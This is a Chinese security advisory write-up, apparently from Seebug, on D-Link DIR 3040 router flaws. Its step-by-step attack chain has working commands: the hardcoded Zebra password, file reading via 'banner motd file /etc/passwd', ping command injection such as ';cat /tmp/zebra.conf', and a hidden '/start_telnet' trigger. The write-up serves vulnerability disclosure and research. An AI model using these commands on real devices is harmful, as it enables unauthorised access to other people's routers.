时间:2021年7月26日
攻击链复现
# oneshell @ UbuntuDev in ~ [23:44:30] C:130
$ nmap -Pn X.X.X.X
Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDT
Nmap scan report for XXX.XXX.com (X.X.X.X)
Host is up (0.28s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
443/tcp open https
2602/tcp open ripd
# oneshell @ UbuntuDev in ~ [23:42:09] C:1
$ telnet X.X.X.X 2601
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
___ ___ ___
/__/ / / / /
__ : / /:: / /:/_
/__/ : / /:/: / /:/ /
__ : : / /:/~/:/ / /:/ /::
/__/ : : /__/:/ /:/___ /__/:/ /:/:
: :/:/ :/:::::/ :/:/~/:/
: ::/ ::/~~~~ ::/ /:/
:/:/ : __/ /:/
::/ : /__/:/
__/ __/ __/
-----------------------------------------------------
BARRIER BREAKER (%C, %R)
-----------------------------------------------------
* 1/2 oz Galliano Pour all ingredients into
* 4 oz cold Coffee an irish coffee mug filled
* 1 1/2 oz Dark Rum with crushed ice. Stir.
* 2 tsp. Creme de Cacao
-----------------------------------------------------
User Access Verification
Password:
Router> enable
Password:
Router# configure terminal
Router(config)# banner motd file /etc/passwd
Router(config)# exit
Router# exit
Connection closed by foreign host.
in ~ [14:54:22] C:1$ telnet X.X.X.XTrying X.X.X.X...Connected to X.X.X.X.Escape character is '^]'.D-Link login: adminPassword:libcli test environmentrouter> helpCommands available: help Show available commands quit Disconnect history Show a list of previously run commands protest protest cmd iwpriv iwpriv cmd ifconfig ifconfig cmd iwconfig iwconfig cmd reboot reboot cmd brctl brctl cmd ated ated cmd ping ping cmdrouter> ping -c 1 8.8.8.8.;uname -aping: bad address '8.8.8.8.'Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux oneshell @ LAPTOP-M8H23J7M
漏洞分析
固件分析
CVE-2021-12818:Zebra服务硬编码密码
router> ping -c -1 8.8.8.8;cat /tmp/zebra.conf
ping: invalid number '-1'
hostname Router
password zebra
enable password zebra
CVE-2021-12817:敏感信息泄露
.data:0006D608 banner_motd_file_cmd:.word aBannerMotdFile_1
.data:0006D608 # DATA XREF: LOAD:00003AC0↑o
.data:0006D608 # cmd_init+708↑o ...
.data:0006D608 # "banner motd file [FILE]"
.data:0006D60C .word sub_1509C
.data:0006D610 .word aSetBannerBanne # "Set bannernBanner for motdnBanner fro"...
.data:0006D614 .align 4
.data:0006D620 .globl no_config_log_timestamp_precision_cmd
install_element(5, (int)&banner_motd_file_cmd);
install_element (enum node_type ntype, struct cmd_element *cmd)
{
struct cmd_node *cnode;
cnode = vector_slot (cmdvec, ntype);
if (cnode == NULL)
{
fprintf (stderr, "Command node %d doesn't exist, please check itn",
ntype);
exit (1);
}
vector_set (cnode->cmd_vector, cmd);
cmd->strvec = cmd_make_descvec (cmd->string, cmd->doc);
cmd->cmdsize = cmd_cmdsize (cmd->strvec);
}
struct cmd_element
{
char *string; /* Command specification by string. */
int (*func) (struct cmd_element *, struct vty *, int, char **);
char *doc; /* Documentation of this command. */
int daemon; /* Daemon to which this command belong. */
vector strvec; /* Pointing out each description vector. */
int cmdsize; /* Command index count. */
char *config; /* Configuration string */
vector subconfig; /* Sub configuration string */
};
int sub_1509c(struct cmd_element *, struct vty *, int, char **);
CVE-2021-12819:测试环境CLI命令执行
http_request_parse
中,有一段代码逻辑是:if ( strstr(v13, "/start_telnet") )
{
log_error_write(a1, "request.c", 460, "s", "start telnet", v190, v191, v211, v231, v251);
system("telnetd -b 0.0.0.0");
}
cli_register_command(cli_session, 0, "protest", cmd_protest, 0, 0, "protest cmd");
cli_register_command(cli_session, 0, "iwpriv", cmd_iwpriv, 0, 0, "iwpriv cmd");
cli_register_command(cli_session, 0, "ifconfig", cmd_ifconfig, 0, 0, "ifconfig cmd");
cli_register_command(cli_session, 0, "iwconfig", cmd_iwconfig, 0, 0, "iwconfig cmd");
cli_register_command(cli_session, 0, "reboot", cmd_reboot, 0, 0, "reboot cmd");
cli_register_command(cli_session, 0, "brctl", cmd_brctl, 0, 0, "brctl cmd");
cli_register_command(cli_session, 0, "ated", cmd_ated, 0, 0, "ated cmd");
cli_register_command(cli_session, 0, "ping", cmd_ping, 0, 0, "ping cmd");
cli_register_command(cli_session, 0, "sh", cmd_shell, 15, 0, "sh cmd");
struct cli_command *cli_register_command(struct cli_def *cli, struct cli_command *parent, const char *command,
int (*callback)(struct cli_def *, const char *, char **, int), int privilege,
int mode, const char *help)
小 结
References
[1]
加密固件之依据老固件进行解密: https://genteeldevil.github.io/2021/07/22/%E5%8A%A0%E5%AF%86%E5%9B%BA%E4%BB%B6%E4%B9%8B%E4%BE%9D%E6%8D%AE%E8%80%81%E5%9B%BA%E4%BB%B6%E8%BF%9B%E8%A1%8C%E8%A7%A3%E5%AF%86/[2]
FirmWalker: https://github.com/craigz28/firmwalker[3]
备份: https://github.com/zhouyangchao/zebra-dev[4]
libcli: https://github.com/dparrish/libcli/往 期 热 门
(点击图片跳转)
VPN 原理以及实现
CVE-2021-33514:Netgear 多款交换机命令注入漏洞
赠书 |《404 Paper 精粹》第一期发布啦!
本文始发于微信公众号(Seebug漏洞平台):D-Link DIR 3040 从信息泄露到 RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论